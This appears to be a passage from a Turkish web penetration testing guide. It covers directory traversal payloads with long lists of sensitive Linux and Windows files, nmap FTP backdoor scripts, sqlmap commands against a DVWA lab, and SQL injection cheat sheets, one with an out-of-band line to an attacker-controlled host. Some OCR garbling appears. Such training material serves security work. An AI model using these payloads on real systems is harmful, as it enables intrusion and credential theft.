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1 - Interesting File / Seen in logs

2 - Misconfiguration / Default File

3 - Information Disclosure

4 - Injection (XSS/Script/HTML)

5 - Remote File Retrieval - Inside Web Root
6 - Denial of Service

7 - Remote File Retrieval - Server Wide
8 - Command Execution / Remote Shell
9 - SQL Injection

a - Authentication Bypass

b - Software Identification

¢ - Remote Source Inclusion

Yukaridaki kod ile (-T 2 ile) yanlis yapilandirmalar ve default sayfalarin tespiti yapilir.
m Burpsuite
m Owasp ZAP

m Microsoft Baseline Security Analyzer 2.3

Microsoft Baseline Security Analyzer tool'u Windows sistemlerin konfigurasyon hatalarini saptar.

Tarama iglemi igin administrator iznine sahip olmak zorunluluktur. Tool asagidaki adresten indirilebilir.

https://www.microsoft.com/en-us/download/details.aspx?id=7558

Tool'un Tarayabildigi Windows Strtimleri:

Windows XP,

Windows Server 2003,
Windows Vista,
Windows 7,

Windows Server 2008,
Windows Server 2008 R2,
Windows 8,

Windows 8.1,

Windows Server 2012,
Windows Server 2012 R2
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Tool Windows 10 ve Windows Server 2016'yi su an icin desteklemiyor.

m Nessus (with Web Vuln Scanning Plugins)

3.3 ELLE ZAFIYET TARAMA

- Http Basic Auth Brute Force & Dictionary Attack
- Web App Login Brute Force & Dictionary Attack
- FTP Login Brute Force & Dictionary Attack

- File Upload with Vulnerable File Uploading Mechanism
- File Upload over Http PUT Method

- Command Injection

- Cross Site Request Forgery

- Local & Remote File Inclusion

- SQL Injection

- Blind SQL Injection

- Second Order SQL Injection

- Reflected XSS

- Stored XSS

- Dom XSS

- Blind XSS

- DOS Attack By Using Target Web Server's Misconfiguration
- Phishing By Navigating Browsers

- Missing Subresource Integrity

- Missing X-Frame-Options Header

- Missing X-XSS-Protection Header

- Missing Content-Type Header

- Missing Content-Security-Policy Header

- Missing Referrer-Policy Header

- Missing HSTS Header

- Cookie Not Marked as Secure

- Cookie Not Marked as HttpOnly

- Same-Site Cookie Not Implemented

- Autocomplete Enabled

- Http Trace Method
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- Http Options Method

- Insecure Email Address Disclosure

- Insecure Transportation Security Protocol Supported (SSLv2 & SSLv3)
- Insecure Frame Usage (External)

- Outdated libraries, scripts, software, etc.

3.4 ACIKLIKLARI SOMURME

m Exploit Arama Metodu
Metasploit Framework (IIS/Apache/Nginx/Tomcat/... icin Exploit arama)
Google Arama Kutusu (6rn);

Windows Server 2016 exploits

Windows Server 2012 exploits

1IS 7.5 exploits

Bu aramalar sonucunda CVE Details veritabanina gotiren linke tiklanir.
https://www.cvedetails.com/product/34965/Microsoft-Windows-Server-2016.html|?
vendor_id=26
https://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html|?
vendor_id=26

https://www.cvedetails.com/version/92758/Microsoft-11S-7.5.html

Sayfalarda yer alan Total satirindaki zafiyet sayilarina tiklanir ve ilgili zafiyetler ekrana basilir. Spesifik
bir zafiyete tiklanildiginda ekrana gelen Authentication sartina bakilir. Bdylece credential'lara sahip
olmadan exploitation yapilabiliyor mu 6grenilir. Ayni sayfanin en altinda ise zafiyetin bir metasploit
moduli var mi bilgisi yer alir. Eger moddl varsa exploitation islemine baslanir (Not: Eger modil yoksa

cve kodunu google'da aratip rapid7 sitesinde metasploit moduli sunulmus mu bakilabilir).

m Directory Traversal Exploitation
Bir web uygulamasinda URL'deki parametrelerden biri dosya yolu aliyorsa o parametreye girilecek

baska dosya yollari sonucunda sunucudaki kritik dosyalarin icerikleri okunabilir. Ornegin sunucudaki
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kullanici hesaplarina ait dosyalar, konfigurasyon dosyalari, web projesindeki kaynak kodlarin yer aldigi
dosyalar, vs... okunabilir.

Asagida Directory Traversal saldirisinin bir 6rnegini gérmektesin:

Normal URL - 1:

http://www.example.com/some-page.asp?page=index.html

Directory Traversal Attack (Linux):

http://www.example.com/some-page.asp?page=../../../..[..[..[..]..] ..] ..[etc/passwd

Normal URL - 2:

http://test.webarticles.com/show.asp?view=oldarchive.html

Directory Traversal Attack (Windows):

http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini

Windows ve Linux sistemlerde barinan web projelerine Directory Traversal saldirisi yapma cheatsheet'i

asagida verilmistir:

a. Linux Sistemlerde Directory Traversal Attack

Encode edilmis gezinme path'leri sunlardir:

.

A\

Vi

%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uffOe%uff0e%u2215
%uffOe%uff0e%u2216
ol

=\
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Yukaridaki encode edilmis gezinme path'leri kullanilarak sonrasina eklenecek kritik linux dosya isimleri

ile dosya icerikleri okunabilir.

/etc/passwd

/etc/shadow

/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/at.allow

/etc/at.deny

/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports

Jetc/fstab

/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts

/etc/groups
/etc/grub.conf

/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
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/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab

/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/Isb-release

/etc/motd
/etc/modules.conf
Jetc/motd

Jetc/mtab

/etc/my.cnf

/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd

/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
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/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap

/etc/profile

/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhes2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
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/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo

/proc/filesystems
/proc/interrupts

/proc/ioports

/proc/meminfo

/proc/modules

/proc/mounts

/proc/stat

/proc/swaps

/proc/version

/proc/self/net/arp
/root/anaconda-ks.cfg
Jusr/etc/pure-ftpd.conf
Jusr/lib/php.ini
Jusr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
Jusr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log

/usr/local/cpanel/logs/stats_log
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/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
Jusr/local/lib/php.ini
/usr/local/php4/httpd.conf
Jusr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
Jusr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
Jusr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
Jusr/local/php/httpd.conf.ini
Jusr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysgl/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log

/var/log/apache/access_log
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/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot

/var/htmp

/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
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/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysglderror.log
/var/log/mysql.log
/var/log/mysgl/mysql-bin.log
/var/log/mysqgl/mysql.log
/var/log/mysgl/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log

/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history

~/.bash_logout
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~/.bash_profile
~/.bashrc

~/.gtkrc

~/.login

~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults

~/ xinitrc
~/.Xresources

~/.xsession

b. Windows Sistemlerde Directory Traversal Attack

Encode edilmis gezinme path'leri sunlardir:

.

A\

.\

%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uffOe%uff0e%u2215
%uffOe%uff0e%u2216
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oA
AW

Yukaridaki encode edilmis gezinme path'leri kullanilarak sonrasina eklenecek kritik windows dosya

isimleri ile dosya igerikleri okunabilir.

C:/Users/Administrator/NTUser.dat

C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log

C:/apache/logs/error.log

C:/apache/php/php.ini

C:/boot.ini

C:/inetpub/wwwroot/global.asa
C:/MySQl/data/hostname.err

C:/MySQlL/data/mysqgl.err

C:/MySQl/data/mysql.log

C:/MySQL/my.cnf

C:/MysQL/my.ini

C:/php4/php.ini

C:/php5/php.ini

C:/php/php.ini

C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err

C:/Program Files/MySQL/data/mysql-bin.log

C:/Program Files/MySQL/data/mysgl.err

C:/Program Files/MySQL/data/mysql.log

C:/Program Files/MySQL/my.ini

C:/Program Files/MySQL/my.cnf

C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
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C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini

C:/WINDOWS/Repair/SAM

C:/Windows/repair/system

C:/Windows/repair/software

C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini

C:/WINNT/php.ini

C:/WINNT/win.ini

C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml|
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
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C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

m FTP Exploitation

[[ Not: Asagidakileri calistirdiginda IPS / IDS tarafindan engellenebilirsin ]]

> nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor, ftp-vsftpd-
backdoor,ftp-vuln-cve2010-4221-p 21 Sip

Not: Nmap script'lerinin arguman kullanim sekli asagidaki gibidir:
nmap --script scriptAdi --script-args
scriptAdi.argumanAdi=argumanDegeri,scriptAdi.argumanAdi=argumanDegeri,...

-p portNum <host>

ftp-anon : Anonymous giris yapilabiliyor mu testini yapar. Argumanlari

su sekildedir:

ftp-anon.maxlist

Oturum acildiginda yapilan “Is” (directory listing)
sonrasi listelenecek dosya sayisini belirler. Sinirsiz
yapmak icin (tim dosyalari siralamak icin) arguman

degeri -1 yapiimahdir.

Kullanim 6rnegi asagidaki gibidir:
nmap --script ftp-anon --script-args ftp-anon.maxlist=6 -p 21

<host>

ftp-anon script'i sorunsuz calistiginda asagidaki gibi bir ¢ikt

alinir:

TUBITAK - BILGEM

41



TASNIF DISI

Web Uygulamalari Sizma Testi Kilavuzu

ftp-bounce

Script Output

PORT  STATE SERVICE
21/tcp open fip

ftp-anon: Anonymous FTP login allowed (FTP code 230)
-T-r--r-- 11170 924 31 Mar 28 2001 .banner
d--x--x--x 2 root root 1024 Jan 14 2002 bin
d--x--x--x 2 root root 1024 Aug 10 1999 etc
drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
d--x--x--x 2 root root 1024 Jan 14 2002 1ib
druxr-sr-x 2 1170 924 1024 Aug 5 2004 pub
_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.

FTP sunucunun FTP bounce metoduna izin verip vermedigini
denetler. Saldirganlar FTP bounce metodu aciksa bu metod
Gzerinden bir ftp komutu olan PORT komutunu kullanarak
direk ulasamadiklari host'lara FTP sunucuyu araci kilarak
ulasabilmektedirler. Bu teknik ile 6rnegin ihtiyatli bir port
taramasi yapilabilir. Neredeyse tim modern FTP sunuculari

varsayilan olarak PORT komutunu reddederler.

ftp-bounce script'inin argumanlari su sekildedir:

ftp-bounce.username

Login username'i. Varsayilan olarak anonymous tur.

ftp-bounce.password

Login sifresi. Varsayilan olarak IEUser@. Seklindedir

ftp-bounce.checkhost
Direk ulasilamayan host adi. Varsayilan olarak

scanme.nmap.org dir.

Kullanim 6rnegi ise su sekildedir;
nmap --script=ftp-bounce --script-args ftp-bounce.username=
deneme,ftp-bounce.password=deneme,ftp-

bounce.checkhost=www.domain-name.com -p 21 <host>

ftp-bounce script'i sorunsuz calistiginda asagidaki gibi bir ¢ikt
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ftp-libopie

alinir:

Example Usage

nmap -sV -sC <target>

Script Output

PORT  STATE SERVICE
21/tcp open ftp
| ftp-bounce: bounce working!

PORT  STATE SERVICE
21/tcp open ftp
| ftp-bounce: server forbids bouncing to low ports <1825

: ftpd'nin CVE-2010-1938 zafiyetine meyli var mi kontrolini

yapar. Eger zafiyet varsa ftp-libopie script'i ftp sunucuyu crash
eder. Yani bu script FTP sunucularini servis disi birakmaya
yarar.

ftp-libopie script'inin argumanlari su sekildedir:

vulns.short

Zafiyet kisa formatta ciktilanir.

vulns.showall

Zafiyet detayl formatta giktilanir.

Kullanim 6rnegi ise su sekildedir:

nmap --script=ftp-libopie --script-args vulns.showall -p 21

<host>
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ftp-proftpd-backdoor

ftp-libopie script'i sorunsuz calistiginda asagidaki gibi bir ¢ikt
alinir:  Example Usage
nmap -sV --script=ftp-libopie <target>

Script Output

PORT  STATE SERVICE
21/tcp open ftp
ftp-1ibopie:
VULNERABLE:
OPIE off-by-one stack overflow
State: LIKELY VULNERABLE
IDs: CVE:CVE-2010-1938 0QSVDB:64949
Risk factor: High CVS5v2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/T:C/A:C)
Description:
An off-by-one error in OPIE library 2.4.1-testl and earlier, allows remote
attackers to cause a denial of service or possibly execute arbitrary code
via a long username.
Disclosure date: 2018-85-27
References:
http://osvdb.org/64949
http://site.pi3.com.pl/adv/1ibopie-adv.txt
http://security.freebsd.org/advisories/FreeBSD-SA-10:05.0pie.asc
http://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2010-1938

: OSVDB-ID 69562 olarak raporlanan ProFTPD 1.3.3c

sunuculardaki backdoor dosyasinin varligini test eder ve dosya
gercekten de mevcutsa raporlar. Bu backdoor dosyasi
Uzerinden ftp-proftpd-backdoor script'inin argumanina
verilecek komut satiri kodlari ile hedef ftp sunucusunda

komut galistirip ¢iktisini alabiliriz.

Argumanlari su sekildedir:

ftp-proftpd-backdoor.cmd
Komut satirinda galistirilacak komutu alir. Varsayilan

olarak argumanda tutulan komut id 'dir.

Kullanim 6rnegi ise su sekildedir:
nmap --script=ftp-proftpd-backdoor --script-args ftp-proftpd-
backdoor.cmd=dir -p 21 <host>

Ornegin ftp-proftpd-backdoor script'inin argumaninda default
olarak id komutu yer aldigindan OSVDB-ID 69562 zafiyetine

sahip bir ftp sunucu ftp-proftd-backdoor script'i ile
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tarandiginda asagidaki ¢ikti bizi karsilayacaktir:

Example Usage

nmap --script ftp-proftpd-backdoor -p 21 <host>

Script Output

PORT  STATE SERVICE

21/tcp open fip

| ftp-proftpd-backdoor:

|  This installation has been backdoored.

| Command: id
| Results: uid=0(root) gid=0(wheel) groups=@(wheel)
I_

Gorildigu Gzere id komutunun giktisi Results: olarak ekrana

yansimistir.

ftp-vsftpd-backdoor : 2011-07-04 tarihinde CVE-2011-2523 olarak duyurulan
vsFTPd 2.3.4 sunuculardaki backdoor dosyalarinin varligini
test eder ve dosya gergekten de varsa raporlar. Bu backdoor
dosyasi lizerinden ftp-vsftpd-backdoor script'inin argumanina
verilecek komut satiri komutlari ile hedef ftp sunucusunda

komut calistirip ciktisini alabiliriz.
Argumanlari su sekildedir:
ftp-vsftpd-backdoor.cmd

Komut satirinda ¢alistirilacak komutu alir.

Varsayilan olarak tutulan komut id 'dir.

vulns.short

Zafiyet kisa formatta giktilanir

vulns.showall

Zafiyet detayli formatta giktilanir.
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ftp-vuln-cve2010-4221

Kullanim 6rnegi ise su sekildedir:
nmap --script ftp-vsftpd-backdoor --script-args ftp-vsftpd-
backdoor.cmd=dir -p 21 <host>

Ornegin ftp-vsftpd-backdoor script'inin argumaninda default
olarak id komutu yer aldigindan CVE-2011-2523 zafiyetine
sahip bir ftp sunucu ftp-vsftpd-backdoor script'i ile
tarandiginda asagidaki ciktiyi bize verecektir:

Example Usage

nmap --script ftp-vsftpd-backdoor -p 21 <host>

Script Output

PORT  STATE SERVICE
21/tcp open ftp
ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2011-2523 O0SVDB:73573
Description:
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-84.
Disclosure date: 2011-87-83
Exploit results:
The backdoor was already triggered
shell command: id
Results: uid=6(root) gid=0(root) groups=8(root)
References:
http://osvdb.org/73573
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
http://scarybeastsecurity.blogspot.com/2011/@7/alert-vsfipd-download-backdoored. html
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsfipd_234 backdoor

Goruldigu Gzere id komutunun giktisi Results: olarak ekrana

yansimistir.

Versiyon 1.3.2rc3 ve 1.3.3b arasindaki ProFTPD sunucularda
stack tabanh buffer overflow zafiyeti var mi kontrollini yapar
ve varsa raporlar. Bu zafiyete sahip ProFTPD sunucularina
gonderilecek ¢ok sayida TELNET _IAC kagis karakteri sonucu
proftpd process'i buffer boyutunu yanlis hesaplayacagindan
proftpd process'inin memory'de oldugu bdlgedeki stack
bozulacaktir ve bolge icerisinde keyfi kod ¢alistiriimasi
muambkin olacaktir (CVE-2010-4221). Bu zafiyeti somirmek
icin authentication gerekli degildir.

ftp-vuln-cve2010-4221 script'inin argumanlari su sekildedir:
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vulns.short

Zafiyet kisa formatta ciktilanir

vulns.showall

Zafiyet detayl formatta ciktilanir.

Nmap ftp-vuln-cve2010-4221 script'i zafiyeti buldugunda
asagidaki gibi bir ¢ikti verecektir:

Example Usage

nmap --script ftp-vuln-cve2010-4221 -p 21 <host>

Script Output

PORT  STATE SERVICE
21/tcp open fip
ftp-vuln-cve2010-4221:
VULNERABLE:
ProFTPD server TELNET IAC stack overflow
State: VULNERABLE
IDs: CVE:CVE-2010-4221 BID:44562 O0SVDB:68985
Risk factor: High CV55v2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Description:
ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
stack-based buffer overflow. By sending a large number of TELNET IAC
escape sequence, a remote attacker will be able to corrupt the stack and
execute arbitrary code.
Disclosure date: 2018-11-02
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
http://osvdb.org/68985
http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp telnet iac
http://bugs.proftpd.org/show bug.cgi?id=3521
http://www.securityfocus.com/bid/44562

ProFTPD sunucularda versiyon 1.3.2rc3 ve 1.3.3b arasindaki stack tabanli buffer overflow zafiyetini
somurmek icin ise metasploit'teki exploit/linux/ftp/proftp_telnet_iac modulla kullanilabilir. Ayrintili

bilgi icin bkz. https://www.rapid7.com/db/modules/exploit/linux/ftp/proftp_telnet_iac

m SQL Injection Exploitation

// Vulnerable olup olmadigini denetler

> sglmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
--cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=low" --level=5 --risk=3
--dbms=mysq|
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-u : Hedef web adresi

-p : Sqliicin test edilecek parametre

// Veritabanlarini siralar.
> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
--cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=low" --level=5 --risk=3

--dbms=mysq|l --dbs

-u : Hedef web adresi
-p : Sqliicin test edilecek parametre
--dbs : Veritabanlarini siralar

// Tablolari siralar.
> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
--cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=low" --level=5 --risk=3

--dbms=mysq| -D veritabaniAdi --tables

-u : Hedef web adresi
-p : Sqliicin test edilecek parametre
-D : Veritabanini seger

--tables : Tablolari siralar.

// Kolonlari siralar.
> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
--cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=low" --level=5 --risk=3

--dbms=mysql -D veritabaniAdi -T tabloAdi --columns

-u : Hedef web adresi

-p : Sqliicin test edilecek parametre
-D : Veritabanini seger

-T : Tabloyu seger

--columns : Kolonlari siralar
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Not:

// Kolon degerlerini siralar.

> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
--cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=low" --level=5 --risk=3
--dbms=mysql -D veritabaniAdi -T tabloAdi -C kolonAdil,kolonAdi2 --dump

-u : Hedef web adresi

-p : Sqliicin test edilecek parametre
-D : Veritabanini secer

-T : Tabloyu secer

-C : Kolonlari secer

--dump : Kolon degerlerini ekrana basar

SQL Injection sinamasi yapilacak sayfa GET yerine POST metodunu kullaniyorsa post
edilen degiskenlerin tim burp ile alinir ve sqimap'e --data parametresi ile eklenir. Ardindan
-p parametresine post edilen degiskenlerden sql injection testine tabi tutulacak degiskenin

ismi girilir.

// Vulnerable olup olmadigini denetler
> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/" --data="id=2&Submit=Submit"
-p id --cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=medium" --level=5

--risk=3 --dbms=mysq|

Ardindan sirasiyla veritabani isimleri, tablo isimleri, kolon isimleri ve kolonlarin tuttugu

degerler ekrana basilir.

// Veritabani isimleri ekrana basilr.
> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/" --data="id=2&Submit=Submit"
-p id --cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=medium" --level=5

--risk=3 --dbms=mysql --dbs

// Tablo isimleri ekrana basilir.
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Not 2:

>sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/" --data="id=2&Submit=Submit"
-p id --cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=medium" --level=5

--risk=3 --dbms=mysql -D veritabanilsmi --tables

// Kolon isimleri ekrana basilir.
>sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/" --data="id=2&Submit=Submit"
-p id --cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=medium" --level=5

--risk=3 --dbms=mysql -D veritabanilsmi -T tabloAdi --columns

// Kolon degerleri ekrana basilir.

> sqlmap -u "http://172.16.3.72/dvwa/vulnerabilities/sqli/" --data="id=2&Submit=Submit"
-p id --cookie="PHPSESSID=d593suo3ulei9vjbkp0s17v790;security=medium" --level=5
--risk=3 --dbms=mysql -D veritabanilsmi -T tabloAdi -C kolonAdi1,kolonAdi2 --dump

a. Sql Injection MySQOL Cheatsheet

Comments
#
/*

;%00

Version

SELECT VERSION();

SELECT @ @VERSION;

SELECT @ @GLOBAL.VERSION;

User details
user()

current_user()
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system_user()
session_user()

SELECT user,password FROM mysgl.user;

Database details
SELECT db_name();
SELECT database();

SELECT schema_name FROM information_schema.schemata;

Database credentials

SELECT host, user, password FROM mysql.user;

Server details

SELECT @ @hostname;

Table Name

SELECT table_name FROM information_schema.tables;

Columns Names

SELECT column_name FROM information_schema.columns WHERE table_name ='"tablename’;

No Quotes
CONCAT(CHAR(97), CHAR(98), CHAR(99))

(( CHAR function returns a character which is related to passed ASCII value ))

String Concatenation

CONCAT(foo, bar)

Conditionals

SELECT IF(1=1,"true','false');

Time-delay

Sleep(10)
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Command Execution

http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html

"RunAs"

N/A

Read Files
SELECT LOAD_FILE('C:Windowswin.ini');

Out-of-Band Retrieval

SELECT LOAD_FILE(concat("\\',(SELECT 1), 'attacker.controlledserver.com\')));

Substrings
SELECT substr(‘Foobr’, 1, 1);

Retrieve Nth Line

SELECT * FROM table ORDER BY ID LIMIT 3,1

b. Sqgl Injection MSSQL Cheatsheet
Comments
/*

;%00

Version
SELECT @ @version;
SELECT @ @VERSION LIKE '%2008%';

User details

SELECT user;

SELECT current_user;
SELECT SYSTEM_USER,;
SELECT USER_NAME();
SELECT USER_NAME(2);
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SELECT SUSER_SNAME();
SELECT loginame FROM master..sysprocesses WHERE spid=@ @SPID;
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

Database details

SELECT DB_NAME();

SELECT DB_NAME(5);

SELECT name FROM master..sysdatabases;

Database credentials
SELECT name %2b "' %2b  master.sys.fn_varbintohexstr(password_hash) from

master.sys.sqgl_logins;

Server details

SELECT @ @servername;

SELECT host_name();

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel’);

Table Names
SELECT name FROM master..sysobjects WHERE xtype='U";

SELECT table_name FROM information_schema.tables;

Columns Names
SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns
WHERE name = 'tablename’;

